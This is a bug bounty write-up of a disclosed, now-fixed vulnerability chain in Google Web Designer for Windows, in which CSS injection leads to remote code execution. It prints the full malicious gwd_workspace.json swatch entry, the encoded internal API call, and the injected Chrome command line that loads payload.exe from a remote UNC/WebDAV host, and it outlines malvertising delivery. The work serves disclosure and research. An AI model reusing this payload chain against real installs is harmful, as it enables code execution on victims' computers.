It's not everyday a CSS injection can be escalated to RCE, so I'm very excited to share this write-up. While the $3,500 reward is nowhere near the $11,250 and $8,500 rewards I had received for my previous two RCE bugs on the same app (more on the reasons behind this some other time), it was by far the most interesting chain of vulnerabilities I've had the pleasure of uncovering as a novice hacker.
If you've been following my other articles, the app itself will need no introduction; but I'll sum it up real quick for those of you new here. (Hi!)
Background
Google Web Designer is a little-known application for creating dynamic HTML5 ads aimed for publishing via Google Ads (among other generic HTML5 editing capabilities). The app’s main selling point is its visual editing interface that should be familiar to anyone who’s ever worked with creative tools such as those made by Adobe; little to no web development experience required.
The app is available for free on Windows, macOS, and Linux and has been receiving regular updates since its initial release in 2013 (!).
Impact
An attacker could achieve remote code execution on victims’ computers by tricking users of the Windows version of Google Web Designer into downloading a malicious ad document, opening it, then interacting with a particular UI element.
Exploitation
Prerequisites
The Windows version of Google Web Designer installed.
Steps
- Victims are tricked into downloading a malicious ad document package via e.g. malvertising on Google keywords such as "premium ad template."
- Victims extract the package and open the malicious document in Google Web Designer.
- Victims click on the app’s color picker control, and select the Swatches option as part of their regular workflow.
- Google Web Designer downloads and executes the malicious code when the Swatches UI is displayed.
Root causes
The vulnerability arose through the combination of a handful of concepts, and app as well as operating system behaviors. Let’s take a look at these one by one to understand how they interacted with each other.
Custom color palette definitions
Google Web Designer, being a visual editor app, has ways for creators to pick colors for various purposes, such as setting element or page backgrounds, text colors, etc. in ad documents. Using the Color panel or popup users can define solid colors or gradients parametrically, or they can pick from preset colors called swatches.
The Swatches view presents users with a grid of color tiles corresponding to the color an object will be set to once the tile is clicked. The application comes with predefined swatches, and —crucially for this exploit— custom colors can be defined by users themselves as well. Those are saved into a configuration file alongside the given ad document’s HTML file: gwd_workspace.json.
Custom colors defined by a document are displayed alongside the factory default ones on the Swatches UI.
CSS injection source in gwd_workspace.json
Google Web Designer parses custom CSS definitions for solid colors or gradients from an array defined in the document configuration file gwd_workspace.json, more specifically in its color.customColorPalettes field.
E.g. the document configuration file could look like this with one custom solid color definition of rgba(110,110,255,1):
{
...
"color.customColorPalettes": [
{
"color_data": [
{
"css": "rgba(110,110,255,1)"
}
],
"name": "documentSwatches"
}
],
...
}
Google Web Designer is a Chromium Embedded Framework (CEF) app; and so essentially a browser with a web application running inside of it. It implements most of its user interface and functionality using HTML, CSS, and JavaScript. In this case, to show the appropriate colors on the Swatches UI, it uses a CSS background rule to show the color defined in gwd_workspace.json on the tiles.
The definitions for solid colors are parsed from the configuration file in a strict way using a regular expression. It breaks them down into their red, green, blue, and alpha component values, and recreates the CSS color value for use on the UI securely, leaving no room for error. Ultimately it leads to something like this markup in the app:
... <div class="swatch" ... style="background-color:rgba(110,110,255,1);"> ...
However, I’ve found that contrary to solid color definitions, custom gradient definitions were improperly sanitized.
Instead of trying to parse potentially very complex custom gradient definitions into their components then rebuilding the CSS rule in a strict way, what the app merely checked for was whether the string value in the css field in the configuration file matched certain gradient-related CSS property names.
Matching values were then dumped into a style attribute on the Swatches UI practically verbatim; making way for CSS injection via a maliciously crafted gwd_workspace.json file:
... "css": "-webkit-linear-gradient;/* INJECTION */" ...
The injection then ended up in the app UI’s HTML intact:
... <div class="swatch" ... style="background-image:-webkit-linear-gradient;/* INJECTION */;"> ...
Internal app shell API
Inside Google Web Designer’s browser-based app shell, JavaScript code is responsible for most app functions. By its nature, that code lacks direct access to low level operating system APIs such as those providing file management, system dialogs, spawning of subprocesses, etc. To bridge this gap the app shell exposes a HTTP REST API to the JavaScript code, for which it’s using a hostname that only resolves to the app internally: ninja-shell.
An example for using this API could be something as simple as previewing image assets that are bundled with the currently open document. To load and reference image data from the local computer on the UI, the JavaScript code might call out to this internal API’s /api/file endpoint to reference the file C:\Users for display like so:
...
<div ... style="background-image: url('//ninja-shell/api/file?method=read&file=C%3A%2FUsers%2FBalint%2FDocuments%2Ffriendly_ad%2Fassets%2Fnice_image.jpg ')">
...
Leveraging the CSS injection in gwd_workspace.json it was then possible for an attacker to call GET endpoints on this internal API.
Just to illustrate, this color definition would pop a harmless Windows built-in Open File dialog using the /api/dialog endpoint:
... "css": "-webkit-linear-gradient;background:url(\"//ninja-shell/api /dialog? mode=open \")" ...
The request would be issued when the tile is rendered for this custom color definition, as soon as the user clicked the control for the Swatches UI on the color picker.
Command line injection in the /api/browser endpoint
Google Web Designer employs the user’s browser(s) for various purposes using the /api/browser endpoint, e.g.:
- Previewing ad documents
- Launching Google’s OAuth flow for logging into the app
For the latter, an expected URL for the app’s JavaScript code to call this endpoint could look like this:
//ninja-shell/api/ browser ?method=open &usedefaultapp=false &browser=chrome &url=https%3A%2F%2F accounts. google. com%2F...
This would initiate a Google account login for the app, making Google Web Designer spawn a Chrome process using this command line:
chrome.exe "https://accounts.google.com/..."
I’ve found that due to improper sanitization of this url query parameter an attacker could use a double quote " to break out of the command line argument for that value, and so to pass arbitrary command line arguments to the browser being invoked.
To illustrate: requesting the following URL (with double quotes " URL-encoded to %22) would have resulted in Google Web Designer launching Chrome with the --browser argument, which makes the browser display a harmless dialog window to the user on start:
//ninja-shell/api /browser ?method=open &usedefaultapp=false &browser=chrome &url=//%22%20--browser -startup -dialog%20%22
The double slashes // at the start of the url parameter value are a way to pass this endpoint’s (improper) input validation, and Chrome will simply ignore that as well as the empty final argument in the resulting command line, and launch with the argument we injected:
chrome.exe "//" --browser-startup-dialog ""
As we’ll see in the proof of concept as well, there’s a Chrome command line argument that can be leveraged for remote code execution using our injection: --browser. It expects a path to an executable which Chrome itself will launch. The path can reference an absolute location, or an executable found in a directory present in the %PATH% Windows environment variable.
This posed a problem: To be able to reference an absolute file path to a malicious executable, an attacker would have to know what exact absolute path victims extract the malicious package to. And not just that: they would have to know their usernames as well, as the location would likely be under C:\Users\….
Requiring or acquiring this knowledge before or as part of the attack would have significantly increased attack complexity, and so would have resulted in a lower bug bounty for my finding.
I had to find a way around it in order to maximize impact. This brings us to the final piece of the puzzle.
Accessing remote files on Windows with UNC paths
Windows’ file management APIs handle Universal Naming Convention (UNC) paths like \\hostname\path on a low level, so apps that expect local file paths as input often turn out to correctly handle UNC paths referencing remote resources as well.
E.g. a command line could look like this for launching notepad.exe to open a file over the network from remote-host using a UNC path:
notepad.exe "\\remote-host\someshare\somefile.txt"
To notepad.exe the network operation will be transparent: once Windows successfully fetches the file, it will open in the app just like a local one would. Google Chrome shares this behavior for paths specified for the --browser command line argument.
Now we have everything we need to exploit these behaviors.
Proof of concept
Putting it all together, let’s walk through how my proof of concept was constructed to combine the above behaviors and achieve remote code execution.
Getting started
A new ad document is created in Google Web Designer. The proof of concept is using a responsive Banner type, and is based on a template that supports a so called Easy mode for the sake of demonstration.
Easy mode in Google Web Designer drastically reduces the number of possible user interactions with an ad document to a handful of essential ones, such as editing text values — and critically for this vulnerability: selecting colors. While the particular interaction necessary for the success of the exploit is possible outside of Easy mode as well, I wanted to demonstrate a scenario where victims could be more straightforwardly driven to perform the actions desired by the attacker.
The document configuration file gwd_workspace.json alongside the app document is kept, but JavaScript, CSS, and some other files created by the application will not be part of the proof of concept package and so are removed. In an actual attack scenario, the attacker would likely want to keep the files in order to maintain a semblance of legitimacy for the document. I wanted to keep things minimal for my demonstration.
We should end up with this file hierarchy for the document:
evil_ad/ ├─ evil_ad.html └─ gwd_workspace.json
Code execution payload
For demonstration purposes I whipped up a tiny program in C that opens up a cmd.exe window and prints the current user’s Windows username:
#include <stdlib.h>
int main() {
system("cmd /k whoami");
return 0;
}
Fetching the payload
As mentioned above, the proof of concept is using Google Chrome’s --browser command line argument to launch our malicious executable. To get around the fact we can’t plant our executable in a predictable absolute path on the victim’s computer, we’ll host our payload using a WebDAV server and use a UNC path \\balintmagyar.com to reference it. Passing it to Chrome in this way will force its download and execution:
chrome.exe "--browser-subprocess-path=\\balintmagyar.com\payload.exe"
Command line injection via internal API
We craft the internal API call to the /api/browser endpoint with the injection of the --browser argument referencing our remote payload. As a bonus we can also add --headless to hide a resulting defunct Chrome window from victims to avoid suspicion.
To ensure that the parameters pass input validation and the WebDAV request will be successful, the equal sign = for the Chrome argument as well as backslashes \ in the UNC path have to be URL encoded.
The final API call:
//ninja-shell/api/browser?method=open &usedefaultapp=false &browser=chrome &url=//%22%20--browser-subprocess-path%3D %5C%5Cbalintmagyar.com%5C payload.exe%20--headless%20%22
Custom color swatch definition in gwd_workspace.json
To plant the CSS injection into the Google Web Designer UI we include a CSS rule with a url() function in its value with our API call in gwd_workspace.json as a custom gradient definition. Quotes in the URL need to be either URL encoded or backslash escaped to ensure that the JSON syntax remains valid.
Our final CSS injection will then flow through the app as soon as the user opens the Swatches UI, starting from gwd_workspace.json:
...
"color_data": [
{
"css": "-webkit-linear-gradient;background:url('//ninja-shell/api/browser?method=open&usedefaultapp=false&browser=chrome&url=//%22%20--browser-subprocess-path%3D%5C%5Cbalintmagyar.com%5Cpayload.exe%20--headless%20%22 ')"
}
]
...
…through the Google Web Designer UI’s HTML where the color swatch is rendered:
...
<div class="swatch" ... style="background-image:-webkit-linear-gradient;background:url('//ninja-shell/api/browser?method=open&usedefaultapp=false&browser=chrome&url=//%22%20--browser-subprocess-path%3D%5C%5Cbalintmagyar.com%5Cpayload.exe%20--headless%20%22 ')">
...
…to the app shell’s internal API:
//ninja-shell/api/browser?method=open&usedefaultapp=false&browser=chrome&url=//%22%20--browser-subprocess-path%3D%5C%5Cbalintmagyar.com%5Cpayload.exe%20--headless%20%22
…and finally to Chrome’s command line:
chrome.exe "//" --browser-subprocess-path=\\balintmagyar.com\payload.exe --headless ""
Packaging
A package can be created from the malicious ad document directory to prepare for mass distribution:
evil_ad/ ├─ evil_ad.html └─ gwd_workspace.json
With the package ready, the attacker can get the package to victims, e.g. via malvertising on Google search keywords such as "premium ad template."
Reflections
Between my findings I’ve published on this site, my first conference talk at BSides Budapest, and having started my first full-time position in the field as a red teamer, it sure has been a busy year.
This was definitely my most exciting find so far considering how rare this kind of chain seems to be; I’ve only managed to dig up one other case of a CSS injection leading to code execution. Do let me know if you happen to know of any more!
In terms of bug hunting, I think I might be finding a niche for myself. Or at least beginning to sense some sort of a theme to what kind of vulnerabilities I seem most drawn to so far: ones that live in the many layers of complexities of modern app stacks, an intermingling of native and web, local and remote. There must be an inherent fragility to these kinds of systems due to the sheer number of moving parts (and history!) involved, and looking for them as well as finding them has been exhilirating.
I’ll be able to publish more of my recent findings along these lines hopefully soon, so make sure to subscribe to my articles feed or join my mailing list (or subcribe to my combined feed if you also want the occasional rambling on the rest of my life in your feed reader.)
Timeline of events
T+0 |
Report submitted to Google. Google closed the issue as Won’t Fix (Infeasible), citing its dependency on social engineering. In response I’ve pointed out my prior reports that used this exact same malicious package vector. |
T+9 |
Google updated the ticket status to Accepted and forwarded the bug to the product team, as well as to their Vulnerability Reward Program panel to consider the report for a bug bounty payout. |
T+38 |
Google updated the status to In Progress. The panel decided on a $3,500 reward. |
T+94 |
Version 16.4.0.0711 is released, containing a fix for this issue. |
T+126 |
This article is published. |